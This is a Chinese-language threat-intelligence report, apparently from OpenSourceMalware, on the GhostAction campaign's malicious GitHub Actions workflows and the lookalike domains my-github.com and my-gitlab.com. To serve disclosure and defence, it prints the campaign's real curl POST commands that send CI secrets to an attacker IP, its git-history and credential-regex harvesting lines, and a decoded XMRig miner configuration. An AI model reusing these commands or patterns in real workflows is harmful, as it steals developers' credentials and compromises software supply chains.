OpenSourceMalware 披露 GhostAction 攻击新变种:利用 GitHub 与 GitLab 仿冒域名
GhostAction attack using GitHub and GitLab lookalike domains
OpenSourceMalware 披露 GhostAction 供应链攻击的新阶段,攻击者通过恶意 GitHub Actions 工作流窃取 CI/CD 密钥,并启用 my-github.com 与 my-gitlab.com 两个仿冒代码托管域名。
BLOG
OSM 发现 GhostAction 攻击的新演进,该攻击通过恶意 CI 工作流文件和蠕虫式行为针对 GitHub 用户
作者 c0a15726-c5b1-4b0d-85e6-fe15553df9e2 · 2026-10-09T23:55:53.631Z

OpenSourceMalware 发现了正在进行的“GhostAction”恶意活动的新阶段,该活动最初由 GitGuardian 在 2025 年发现。这一最新演进似乎是一次升级,并使用了两个针对 GitHub 和 GitLab 的新域名。
GhostAction 活动是一场持续进行的供应链活动,攻击者入侵 GitHub 账户,并向这些账户能够修改的每个仓库注入恶意 Actions 工作流。这些工作流由推送或手动执行触发,窃取 CI/CD 机密——包括包发布、云、GitHub 和 AI 服务凭据——并将其外泄到攻击者控制的基础设施。后续变种通过扫描仓库内容和完整 git 历史扩大了收集范围,恢复了开发者认为已被删除的凭据。GitGuardian(https://blog.gitguardian.com/ghostaction-github-actions-supply-chain-attack- returns/)
今天早些时候,Socket 和 StepSecurity 随后将新一轮高度自动化的攻击波追溯到被入侵的维护者,其访问权限暴露了数百个仓库,包括知名项目和长期休眠的代码库。他们的发现表明,GhostAction 仍是一场活跃的账户接管和凭据窃取行动:攻击者枚举所有可写仓库,未经审查直接推送工作流,触发执行,并利用窃取的发布或云机密来实现进一步的供应链入侵。
既有的 GhostAction 载荷会读取特定命名的 GitHub Actions 机密并将其发送到攻击者基础设施。较新的 .github/workflows/security-audit.yml 变种还会在完整检出内容和 git 历史中搜索凭据形式的字符串,捕获 AWS 密钥周围的上下文行,并将合并结果通过未加密的 HTTP POST 到 193.32.204.199/?c=monami。
响应者必须假定活跃的 Actions 机密以及先前提交并随后删除的凭据均已暴露。删除工作流并不会撤销被盗凭据、使用于更改仓库的 GitHub 令牌失效,也无法处理入侵期间产生的包、镜像、发布和部署。
早期预警:可能的新一轮针对开发者的攻击波
两个新注册的、以代码托管为主题的域名可能预示着针对开发者的下一阶段。my-gitlab.com 注册于 2026 年 9 月 22 日,17 天后 my-github.com 注册。这些域名共享完全相同的 my-<major code-host>.com 构造和平行的 <brand>.my-<brand>.com 形式。my-github.com 直接指向活跃的 GhostAction 收集器 IP;gitlab.my-gitlab.com 在单独的 AWS 基础设施上托管着一个看似 GitLab 的服务。共同所有权尚未得到证实,但命名、时间以及面向开发者的服务足以证明有必要早期监控网络钓鱼、恶意克隆 URL、令牌窃取、CI 配置滥用和载荷投递。
该基础设施表明,攻击可能从显眼的 IP 地址收集器转向旨在让开发者感到熟悉的域名:
my-gitlab.com registered 2026-09-22
└── gitlab.my-gitlab.com
my-github.com registered 2026-10-09
└── github.my-github.com
这种模式可能支持针对开发者的多种攻击:GitHub 或 GitLab 凭据钓鱼、OAuth 或个人访问令牌窃取、恶意仓库克隆指令、伪造 API 端点、投毒的软件包或发布下载、运行器注册以及 CI/CD 机密收集。这些是根据命名和暴露的服务推断出的预测场景;它们并非全部已被观察到。
my-github.com 是置信度更高的指标,因为它直接解析到 193.32.204.199,即当前的 GhostAction 数据外泄和扫描主机。它还具有通配符 DNS,允许控制该域名的人使用具有说服力的主机名而无需发布单独的记录。my-gitlab.com 是置信度较低的观察名单域名:其配置的 gitlab.my-gitlab.com 主机名解析到香港的一个 AWS EC2 地址,被动 Shodan 数据在该地址的 80 和 443 端口上识别出 GitLab 和 nginx。
从技术上讲,这对域名并非归属于同一运营者。它们使用不同的注册商、注册人记录、Cloudflare 名称服务器对、IP 地址、ASN 和 DNS 设计,且未恢复出任何共享的证书或账户痕迹。尽管如此,防御者现在就应该对这两个域名进行搜寻和监控,因为等待确认的受害者遥测数据将丧失早期预警的价值。
建议的监控措施:
包含任一顶级域名或任何子域名的 DNS、代理、浏览器、电子邮件和端点事件;
引用任一域名的 Git 远程仓库、软件包元数据、文档、工作流文件和 shell 历史记录;
使用这些域名的身份验证页面、OAuth 重定向、个人访问令牌提示、运行器注册说明和克隆 URL;
来自开发者工作站、CI 运行器、构建系统和软件包发布主机的出站连接;
未来在 DNS、证书、托管和仓库方面的变化,这些变化会在两个域名之间建立直接联系。
威胁概览
属性
值
威胁
GhostAction
类型
CI/CD 凭据窃取和软件供应链入侵
平台
GitHub 和 GitHub Actions
严重性
在工作流可访问发布、云或部署机密的情况下为严重
首次记录
2025 年 9 月
当前端点
193.32.204.199 通过 HTTP
文件
github_actions_security.yml、security-check.yml、security-audit.yml
触发器
push、workflow_dispatch
发现
调查始于 claudecord。PyPI 版本 0.3.2 包含 .github/workflows/github_actions_security.yml,后者将名为 deployment、npm 和 PyPI 的机密 POST 到 http://193.32.204.199。其 SHA-256 为:
7fbd40446a82c77b23432c6ab73bd8595c98e90e4f4a473198b4d1256f3e8c4b
声称的上游 kanavdhanda/claudeCord 显示初始植入物位于提交 a69f8c4 中,两秒后是 Trigger security scan。提交 dd08e03 在第二天添加了 .github/workflows/security-audit.yml。提交 7e03c5a 后来移除了剩余的恶意工作流。
GitGuardian 报告称,8 月 31 日至 9 月 30 日期间有 772 个受影响的仓库。OpenSourceMalware 目前可通过该截止日期恢复 717 个,通过 10 月 9 日恢复 790 个。仓库和提交可能在披露后消失,而注入在 GitGuardian 的时间窗口之后仍在继续;因此当前数据集是一个可复现的公开下限。
10 月 8 日大规模注入
Socket 和 StepSecurity 将最新活动归结为两次压缩扫描:
UTC 时间窗口
受损账户
仓库
详情
13:20–13:44
kitao
27
kitao/pyxel 收到一次添加和两次更新提交
21:10–21:26
henrywoo
318
39 个源仓库、279 个复刻,外加 uber/athenadriver
总计
2 个账户
346
自动枚举可写仓库
此次扫描涵盖了活跃项目以及休眠约十年的代码仓库,支持的是自动化枚举而非项目筛选。在 Socket 收集数据时,kitao/pyxel 大约有 18,420 颗星。Uber 旗下的 uber/athenadriver 仓库之所以可访问,是因为该项目转入 Uber 组织后,原作者仍保留写入权限。
athenadriver 注入直接进入 master,没有经过拉取请求或审查,并使用合法维护者身份作为作者和提交者。StepSecurity 报告称该提交未签名。因此,当有效凭证被滥用时,作者身份提供的检测能力很弱;内容、审查状态、爆发时间、推送路径和运行器出站流量是更强的信号。
Socket 观察到了成功执行,并发现该工作流在 10 月 9 日检查的默认分支上仍然存在。截至发布时,它尚未观察到可归因于这一波攻击的恶意 PyPI 或 crates.io 发布。这缩小了观察到的实际影响,但并未降低轮换发布凭证的必要性。
基础设施
时间段
端点
报告仓库数
2025 年 9 月
bold-dhawan.45-139-104-115.plesk.page
该波次总计约 900 个
2025 年 9 月
carte-avantage.com
包含在上方
2025 年 9 月
objective-hopper.45-139-104-115.plesk.page
包含在上方
2025 年 10 月至 12 月;2026 年 3 月
170.39.218.2
~75
2025 年 11 月;2026 年 3 月至 4 月
*.oast.fun
~250
2026 年 8 月至 9 月
193.32.204.199
报告 772 个
2026 年 9 月
193.32.204.199:3000/api/workflow/receive?inj=<id>
7
2026 年 10 月
193.32.204.199/?c=monami
未解决
StepSecurity 将该当前 IP 置于 2026 年 9 月 4 日的蜜罐遥测中,并于 9 月 5 日将其置于一个受感染的公共仓库中。这些日期提供了比主要公开注入爆发更早的调查边界。
GhostAction 之外的基础设施复用
专项基础设施研究发现,193.32.204.199 还是一个活跃的恶意互联网扫描器。GreyNoise、Shodan、OTX、SCARD、SANS ISC 和 BlockList.de 各自独立观察到了扫描、暴力破解、Web 探测或蜜罐流量。SANS 每日视图记录了 11,286 次针对 TCP/8080 的探测,而 SCARD 记录了 413 起事件,其中以可疑的 Web 扫描器用户代理为主。在事件响应中,要区分来自该 IP 的入站扫描与从 GitHub 运行器到该 IP 的出站流量;后者是工作流数据外泄的直接证据。
旧 IP 45.139.104.115 有 389 条 OTX 被动 DNS 记录,横跨一个以钓鱼为主的邻域。反复出现的主题包括 Ameli/Carte Vitale、政府罚款、包裹投递、Netflix、银行和 SNCF。carte-avantage.com 在 2025 年被用于 GhostAction 之前,就已被独立报告为 SNCF 支付卡钓鱼网站。这证实了该基础设施的多用途恶意使用,但并不能证明某一个运营者控制了所有同主机域名。
当前 IP 所有权与暴露情况
RIPE RDAP 将 193.32.204.0/24 分配给对象 vcyber,注册组织为 Vigilant Cyber SAS,滥用联系人为 abuse@vigilantcyber.top。该前缀目前由 AS153622(Madina IT)宣告。商业地理定位来源分别将该地址定位在赫尔辛基、伊斯坦布尔或土耳其。这些记录分别描述了分配、路由和数据库推导的位置;均不能确定 GhostAction 运营者的居住地。
Shodan InternetDB 在 TCP/22 上观察到 OpenSSH 8.9p1,在 TCP/80 上观察到 Apache 2.4.52,以及 TCP/8900。URLScan 独立记录了 http://193.32.204.199/c/ 在 Ubuntu 上返回 Apache 2.4.52。Shodan 中基于版本推导的 CVE 是暴露假设,并不能证明可利用性。
扫描证据独立于 GitHub 活动:
来源
观察结果
GreyNoise
noise=true、classification=malicious,最后出现于 10 月 8 日
Shodan
scanner 标签
OTX
50 个脉冲,涵盖 HTTP 扫描、TCP/8080、暴力破解和多协议蜜罐
8 份报告中 68 次攻击
SCARD
413 个事件;暴露出的特征以可疑的 Web 扫描器用户代理为主
SANS ISC
每日顶级扫描器视图中 11,286 次 TCP/8080 探测
Mirai、Mozi、WannaCry 或勒索软件等 Feed 标签并不能证明该主机运行过这些恶意软件家族。若干 OTX pulse 是批量蜜罐 Feed,其名称描述的是所监控的威胁集合。可支持的发现是:用于 GhostAction 数据外传的同一 IP 正在产生广泛的恶意扫描和探测流量。
my-github.com:当前收集器上的同日域名
my-github.com 是针对活跃 GhostAction IP 的一个新的、高度相关的支点:
属性
观测
注册时间
2026-10-09T09:50:00Z
注册商
Dynadot Inc.,IANA ID 472
注册人
未在公开 RDAP 中披露
到期时间
2027-10-09
名称服务器
kianchau.ns.cloudflare.com、selah.ns.cloudflare.com
当前 A 记录
193.32.204.199
DNSSEC
在观测到的注册数据中未签名
该域名是在此基础设施被公开调查的当天注册的,并使用了一个冒充或援引 GitHub 的名称。在观测到的 A 记录中,它未使用 Cloudflare 的反向代理;DNS 直接解析到 GhostAction 收集器。公开扫描报告将该域名与 Vigilant Cyber 托管相关联,并观测到有效的 TLS 呈现。
URLScan 于 10 月 9 日 15:48 UTC 提交了 https://my-github.com/SDRVuhYw。观测到的导航最终结束于一个 YouTube Rickroll URL。该行为可能代表操作者嘲讽、一次性重定向、无关租户,或披露后研究人员的活动。其本身并非凭证钓鱼的证据。
时间点、与品牌相关的名称以及精确的 A 记录重叠,使 my-github.com 成为高优先级指标和支点。目前仍没有直接的工作流、账户、注册商或服务器端证据证明 GhostAction 操作者注册了它。因此报告将其归类为 通过 IP 关联的可疑基础设施,操作者归属未解决。
在 DNS、代理、电子邮件、证书和 GitHub 内容遥测中搜寻该域名:
my-github.com
*.my-github.com
"my-github.com" path:.github/workflows
"193.32.204.199" "my-github.com"
任何出站的 GitHub runner 连接到 my-github.com 都应作为潜在的战役适配进行调查,即使该工作流不再包含字面 IP。
四个已报告的标签——ghassets.my-github.com、github.my-github.com、api.my-github.com 和 gh.my-github.com——也解析到 193.32.204.199。它们目前均无 AAAA、CNAME 或 TXT 记录,也未发现针对它们的精确公开 URLScan 捕获或 OTX 被动 DNS 历史。
随机控制标签也以相同的 TTL 解析到同一地址,确认了 *.my-github.com 的通配符 DNS。这些名称在语义上与 GitHub 冒充一致,但 DNS 解析并不能证明它们是单独配置的服务:任何虚构的标签都会解析。将 apex 计为基础设施节点,保留四个已暴露的标签作为搜寻词,并在断言某个子域被实际使用之前,需要 HTTP Host、TLS SNI、证书、电子邮件、工作流或受害者遥测。
ghassets.my-github.com
github.my-github.com
api.my-github.com
gh.my-github.com
相关的 GitLab 主题域名
my-gitlab.com 注册于 2026 年 9 月 22 日,比 my-github.com 早 17 天。它遵循相同的 my-<code-host>.com 命名模式,使其成为一个有用的支点,但当前基础设施并未将其与 GhostAction 关联。它使用 Gname 而非 Dynadot,拥有不同的 Cloudflare 名称服务器对,且不解析到 193.32.204.199。
该顶点目前没有地址或邮件记录。显式配置的 gitlab.my-gitlab.com 主机名解析到 18.167.164.26,这是香港的一个 AWS EC2 地址。Shodan InternetDB 报告了 80 和 443 端口,带有 GitLab 和 nginx 指纹,与一个正常运行的自托管 GitLab 服务一致。随机子域控制返回 NXDOMAIN,因此该域不使用在 my-github.com 上看到的通配符行为。公开的 URLScan、OTX、搜索和证书透明度检查未产生任何恶意或针对特定活动的证据。
将 my-gitlab.com 和 gitlab.my-gitlab.com 归类为 观察名单指标:关系未经证实。它们的命名和时间安排值得监控,但将其视为已确认的 GhostAction 基础设施会超出证据范围。有用的下一步切入点是工作流引用、端点遥测中的登录或克隆 URL、证书复用、注册商痕迹、受害者报告以及未来的被动 DNS 变化。
my-gitlab.com 和 my-github.com 之间最强的联系是精确的 my-<major code-host>.com 命名构造,加上相隔 17 天的注册时间。还存在一种平行的 <brand>.my-<brand>.com 形式:gitlab.my-gitlab.com 是显式配置的,而 github.my-github.com 通过 GitHub 主题域的通配符解析。在 my-gitlab.com 下测试类似的 GitHub、GitLab、API、资产、注册表、包、身份验证和登录标签,除 gitlab.my-gitlab.com 外均返回 NXDOMAIN;因此证据显示的是强烈的词汇模式,而非镜像的子域部署。
未发现特定于操作者的联系:这些域使用不同的注册商、隐私/注册人记录、Cloudflare 名称服务器对、SOA 序列号、IP 地址、ASN、DNS 设计和托管提供商。未发现共享证书、被动观测或相关的索引共现。Cloudflare DNS、一年期注册、转移锁定和禁用 DNSSEC 是常见默认设置,几乎没有归属权重。在恢复共享令牌、证书或密钥、源站、账户、仓库引用、有效载荷或受害者侧序列之前,这种关系仍是一个可信的假设。
遗留 IP 与钓鱼平台重叠
ARIN 将 45.139.104.0/24 分配给 49.3 Networking LLC,RIPE 路由数据显示 AS399979 在相关的 2024–2026 年期间一直通告它。OTX 被动 DNS 产生了 389 条记录,代表 355 个规范化名称。至少,关键词聚类发现了 68 个包裹/邮政仿冒名称、29 个法国健康/Ameli/Carte Vitale 名称、13 个政府/罚款/税务名称、9 个 Netflix/流媒体名称以及 7 个银行/支付/保险名称。
示例包括 dhl-colis-track.com、chronopost-tracker.com、ameli-remboursement.com、fisc-gouv.info、netflix-secure-france.com、client-axa.info 和 leetchi-verif.com。独立信誉来源将若干邻居归类为钓鱼、垃圾邮件、可能恶意软件或已沉洞的基础设施。这确立了以钓鱼为主的托管环境,尽管共享托管使得无法将每个名称都归因于 GhostAction。
objective-hopper.45-139-104-115.plesk.page 仍解析到遗留 IP。bold-dhawan.45-139-104-115.plesk.page 当前返回 NXDOMAIN。形容词-姓氏标签与自动生成的 Plesk 预览主机名一致,并未揭示人类注册人。
carte-avantage.com:钓鱼到 GhostAction 的交叉
公开的受害者报告描述 sncf.carte-avantage.com 冒充 SNCF Connect,并以 2.45 欧元提供 49 欧元的折扣卡。报告称该网站收集了身份和支付卡数据,而大多数非支付导航均无实际功能。GitGuardian 后来发现 carte-avantage.com 被用作 GhostAction 的数据外泄端点。
当前 RDAP 显示,该域名于 2025 年 8 月 15 日由 Dynadot 注册,注册人未披露,并在 2026 年 8 月到期后处于赎回状态。该域名目前返回 NXDOMAIN。在 2025 年注册后立即获得了 Let's Encrypt 证书,到 8 月 17 日解析到 45.139.104.115,并在下个月出现在 GhostAction 中。这一序列强烈地将 2025 年注册实例 与遗留活动基础设施联系起来。
档案和证书透明度显示,该域名在 2018 年、2021–2022 年和 2024 年有更早的生命周期。2025 年的创建日期反映的是重新注册,而非首次使用。因此,在没有历史 WHOIS、注册商支付或服务器控制证据的情况下,不能假定 2022/2024 年的 SNCF 钓鱼操作者与 2025 年的 GhostAction 操作者是同一人。公开 RDAP 并未暴露可辩护的个人所有者。
完整的所有权、路由、被动 DNS、证书、扫描和归因分析见 ghostaction_infrastructure_2026-10-09.md。
攻击链
有效的仓库访问: 攻击者使用与受害者身份关联的访问权限。仅凭显示的作者身份无法区分授权工作与令牌滥用。
工作流注入: 一个安全主题的文件被写入
.github/workflows/之下。执行: 注入推送可以触发新添加的工作流;后续推送会重新触发它,并且
workflow_dispatch允许手动执行。重新触发: 一个无作用的时戳注释被附加到
README.md,产生另一次推送。收集: 命名的 Actions 机密被展开;新变体还会扫描当前和历史源代码。
外泄:
curl --data-binary通过 HTTP 发送一条标记为受害者的多行记录。
GitHub 在 Bash 接收脚本之前解析 ${{ secrets.NAME }}。缺失的机密变为空字符串;现有值变为命令数据。日志掩码并不能阻止运行器传输底层值。
载荷演变
针对性机密工作流
PyPI 制品包含已建立的收集器:
curl -s -X POST -d 'DEPLOY_HOST=${{ secrets.DEPLOY_HOST }}&DEPLOY_SSH_KEY=${{ secrets.DEPLOY_SSH_KEY }}&NPM_TOKEN=${{ secrets.NPM_TOKEN }}&PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' http://193.32.204.199
机密名称因受害者而异,表明攻击者检查了现有工作流或配置引用,并生成了定制的收集器。它无法枚举存储的机密值;它引用事先获知的名称,并依赖 Actions 表达式展开。
新的 security-audit.yml
最新版本结合了三种收集器:
显式的仓库特定 Actions 机密;
检出树中的正则匹配;
所有可达 git 补丁中的正则匹配和上下文行。
它将结果发送到 http://193.32.204.199/?c=monami。查询值可能标记某个活动或收集器版本;其服务器端含义尚未解决。
全历史检出
- uses: actions/checkout@v4
with:
fetch-depth: 0
fetch-depth: 0 获取完整的可达历史,而不是浅层检出。从可见分支删除的凭据仍可供 git log -p --all 使用。该设置本身是合法的,但当与机密正则和不相关的外部 POST 关联时,就会变得高风险。
受害者身份和直接机密
out="REPO=$GITHUB_REPOSITORY"
[ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&..."
GITHUB_REPOSITORY 识别受害者。因为即使所有机密为空,字面参数名称仍然存在,所以 -n 条件始终为真。该示例针对 Rust 和 Python 发布以及一个通用访问令牌;观察到的列表还包括云、容器、SSH、数据库、机器人、npm、PyPI 和 GitHub 凭据。
当前树收集
grepped=$(grep -rEiho "..." --exclude-dir=.git . 2>/dev/null | sort -u)
-r 递归扫描,-E 启用扩展正则,-i 忽略大小写,-h 移除文件名,-o 仅返回匹配项。错误被隐藏,结果去重。目标系列包括:
模式
凭据
AKIA...、ASIA...
AWS 长期和 STS 访问密钥 ID
sk-ant-...
Anthropic
sk-proj-...
OpenAI 项目密钥
sk-or-...
OpenRouter
ghp_..., github_pat_...
GitHub PAT
glpat-...
GitLab PAT
AIza...
Google API 密钥
xox[baprs]-...
Slack 令牌
SG.<part>.<part>
SendGrid 密钥
secret_access_key...
AWS 秘密访问密钥赋值
aws_session_token...
AWS 会话令牌赋值
该正则使用 PCRE 非捕获组,例如 (?:v1-)? 配合 grep -E,后者实现 POSIX ERE。行为可能不一致,并产生警告或漏匹配;2>/dev/null 会隐藏失败。此缺陷降低了可靠性,但不会使普通 ERE 分支失效。
Git 历史收集
gl=$(git log -p --all 2>/dev/null | head -200000)
hist=$(echo "$gl" | grep -oiE "..." | sort -u | head -300)
git log -p --all 会为每个可达引用输出元数据和差异。该 actor 保留最多 200,000 行输出和 300 个唯一匹配。已删除的行也会被包含,因此从当前源代码中移除的凭据仍可能被收集。大型仓库会偏向近期历史,因为 git 通常先遍历最新的提交。
AWS 上下文收集
ctx=$(grep -rEi -B2 -A2 "AKIA...|ASIA..." --exclude-dir=.git . 2>/dev/null | head -150)
hctx=$(echo "$gl" | grep -Ei -B2 -A2 "AKIA...|ASIA..." | head -150)
这些命令收集上下两行,而不仅仅是密钥 ID。上下文可能泄露配对的秘密密钥、区域、角色、账户、存储桶、主机名、用户名或其他凭据。当前和历史上下文各限制为 150 行,并用独特的 AKIA_CTX_START 和 AKIA_CTX_END 标记包裹。
外泄
curl -s -m 20 -X POST --data-binary "$full" "http://193.32.204.199/?c=monami" || true
--data-binary 保留换行符。请求体包含仓库身份、命名的密钥、AWS 上下文、当前匹配和历史匹配。明文 HTTP 会在传输过程中暴露窃取的数据。-s 抑制输出,-m 20 限制延迟,|| true 防止 POST 失败导致步骤失败。最后的非空检查始终满足,因为请求体以仓库名称开头,所以每次运行至少会发送一个受害者信标。
GitHub 狩猎查询
高置信度基础设施搜索
最有效的初级搜索会引用该 IP,并将结果集限定为可执行的 GitHub Actions 工作流路径,与文件名无关:
"193.32.204.199" path:.github/workflows
https://github.com/search?q=%22193.32.204.199%22+path%3A.github%2Fworkflows&type=code
此查询可一次性检测 github_actions_security.yml、security-check.yml、security-audit.yml 以及重命名的副本。引用 IP 要求完整的字面指标,而路径约束会移除提及该活动的文档、IOC 源、议题模板和不可执行的源文件。结果仍需内容审查,因为防御者可能有意在工作流文件中提交检测规则或已封锁的指标。
使用以下搜索作为更广泛的发现和特定文件名的透视:
193.32.204.199 language:YAML
path:github_actions_security.yml 193.32.204.199
path:security-audit.yml 193.32.204.199
path:security-check.yml "193.32.204.199:3000/api/workflow/receive"
特定版本的有效载荷搜索
path:.github/workflows "AKIA_CTX_START" "git log -p --all"
path:.github/workflows "AKIA_CTX_END" "--data-binary"
path:security-audit.yml "?c=monami"
path:.github/workflows "head -200000" "head -300" "git log -p --all"
path:.github/workflows "aws_session_token" "fetch-depth: 0" "--data-binary"
path:.github/workflows/github_actions_security.yml "Prepare Cache Busting" "send-secrets"
历史基础设施
path:.github/workflows "bold-dhawan.45-139-104-115.plesk.page"
path:.github/workflows "objective-hopper.45-139-104-115.plesk.page"
path:.github/workflows "carte-avantage.com"
path:.github/workflows "170.39.218.2"
path:.github/workflows "oast.fun" "send-secrets"
提交历史
"Add Github Actions Security workflow"
"Update Github Actions Security workflow"
"Add security check workflow"
"Add security audit workflow"
"Update security audit workflow"
"Trigger security scan"
短语搜索还会返回更长的消息和正文。获取每个返回 SHA 处的文件,并在将其归因于该活动之前验证基础设施或独特的内容标记。
检测
置信度
指引
已知 IP 加恶意工作流路径
非常高
直接活动关联
AKIA_CTX_START 加 git log -p --all
非常高
独特的最新收集器
?c=monami 加 --data-binary
非常高
特定版本路由
仅精确提交消息
中
在 SHA 处验证文件
fetch-depth: 0 加秘密正则
低–中
合法扫描器会这样做
仅 security-audit.yml 文件名
低
常见的合法文件名
10 月 8 日账户和仓库透视
user:henrywoo path:.github/workflows/security-audit.yml
user:kitao path:.github/workflows/security-audit.yml
repo:uber/athenadriver path:.github/workflows/security-audit.yml
repo:kitao/pyxel path:.github/workflows/security-audit.yml
将 fork 结果与源仓库分开对待。Socket 统计了 henrywoo 下 279 个受影响的 fork;当启用 Actions 且符合条件的触发事件使其能够访问该 fork 的秘密上下文时,fork 中已提交的工作流就会成为执行风险。
已验证的仓库范围
证据
仓库
验证
添加主工作流
683
精确消息;历史文件和 IP 已验证
更新主工作流
272
精确消息;历史文件和 IP 已验证
端口 3000 变体
7
历史文件和端点已验证
去重集合
790
已验证证据的并集
支持数据集为本报告旁的 ghostaction_repositories_summary.csv、ghostaction_affected_repositories.csv 和 ghostaction_trigger_commits_sample.csv。
MITRE ATT&CK
战术
技术
ID
初始访问
有效账户:云账户
T1078.004
初始访问
软件供应链入侵
T1195.002
执行
Unix Shell
T1059.004
持久化
事件触发执行
T1546
凭据访问
文件中的凭据
T1552.001
凭据访问
私钥
T1552.004
发现
文件和目录发现
T1083
收集
本地系统数据
T1005
命令与控制
Web 协议
T1071.001
数据外泄
通过 C2 通道外泄
T1041
公开证据无法确定最初的 GitHub 凭据是如何获得的。
入侵指标
193.32.204.199
http://193.32.204.199/?c=monami
http://193.32.204.199:3000/api/workflow/receive?inj=<id>
my-github.com
*.my-github.com
ghassets.my-github.com
github.my-github.com
api.my-github.com
gh.my-github.com
https://my-github.com/SDRVuhYw
170.39.218.2
45.139.104.115
bold-dhawan.45-139-104-115.plesk.page
objective-hopper.45-139-104-115.plesk.page
carte-avantage.com
*.oast.fun
.github/workflows/github_actions_security.yml
.github/workflows/security-check.yml
.github/workflows/security-audit.yml
Prepare Cache Busting
send-secrets
AKIA_CTX_START
AKIA_CTX_END
git log -p --all 2>/dev/null | head -200000
curl -s -m 20 -X POST --data-binary
仅凭文件名不构成恶意指标;应将其与基础设施或行为关联分析。
my-gitlab.com
gitlab.my-gitlab.com
18.167.164.26
该 IP 为共享云基础设施,仅应在结合主机名或其他佐证上下文时使用。
独立的 DevOpsGPT 挖矿程序
提交 614a565 修改了 Dockerfile、run.sh 以及两个调度器文件,以安装 XMRig 并将其持久化为 /usr/local/bin/pyworker。使用 devops2024 进行静态 XOR 解码得到:
pool.supportxmr.com:3333
832eKef1fNRTQdiJeJzsvkMMsogMp22FR2FLX1oaV5BxGfoMcJvkcbFgWgNRyNfsE19D9pdM1zdU7D9kRLdJbM5rU1vjfcL
worker1
--cpu-max-threads-hint=30
--donate-level=0
五个预期字段均存在,这与 GitGuardian 关于配置被截断的结论不同。该挖矿程序在此仓库中早于 GhostAction 出现,并使用不同的、量身定制的攻击手法。除非有进一步证据将操作者关联起来,否则应将其视为通过共享被入侵身份进行的独立活动。
事件响应
暂时禁用 Actions 并保留工作流、运行 ID、日志、提交、审计日志以及软件包/发布记录。
撤销与被入侵身份关联的 GitHub PAT、OAuth 授权、App 凭据、部署密钥和会话。
从可执行分支和标签中移除恶意工作流;单独保存证据。
在不与其通信的情况下封锁攻击活动基础设施。
轮换所有已命名的 Actions 密钥,然后搜索并轮换完整 git 历史中匹配的凭据。
优先处理源代码控制、注册表、云、SSH、部署、数据库和容器凭据。
审计在入侵窗口期间生成的软件包、发布、镜像和部署。
在干净环境中从经过验证的入侵前提交重建可信工件。
通过受保护分支、经审查的工作流变更、.github/workflows/** 所有权规则、最小权限组织密钥、短期凭据和云 OIDC 来加固仓库。当工作流同时结合全历史检出、git-diff 扫描、凭据正则表达式和出站网络客户端时发出警报。
在仓库策略允许的情况下,要求对新增或修改的工作流进行审批。StepSecurity 报告称,工作流审批是此次攻击浪潮中观察到阻止数据外泄的控制措施。将运行器出站允许列表作为第二层防护:收集器直接连接到端口 80 或 3000 上的原始 IP,不会产生 DNS 查询,因此仅针对域名的控制措施无法检查。针对这些目标的历史网络遥测数据可以识别尝试收集的仓库、工作流、作业和步骤。
局限性
已删除、私有、强制推送和未索引的仓库不在可恢复的公开集合范围内。
最新精确
security-audit.yml变体的流行程度仍未确定,因为其通用提交信息造成了大量噪声。工作流内容证明的是尝试收集,而非成功投递或凭据有效性。
c=monami和inj=<id>似乎用于路由或标记收集;未与攻击者基础设施进行通信。可能还存在以无关名称或提交信息隐藏的其他恶意软件。
参考资料
GreyNoise 关于
193.32.204.199的记录SNCF 网络钓鱼报告,针对
carte-avantage.comVerisign RDAP,用于
carte-avantage.comGitHub 搜索:引号内的 IOC,位于
.github/workflows
将可疑的软件包和仓库报告至 OpenSourceMalware.com。
本报告由 OpenSourceMalware 团队生成。
来源:Hacker News · opensourcemalware.com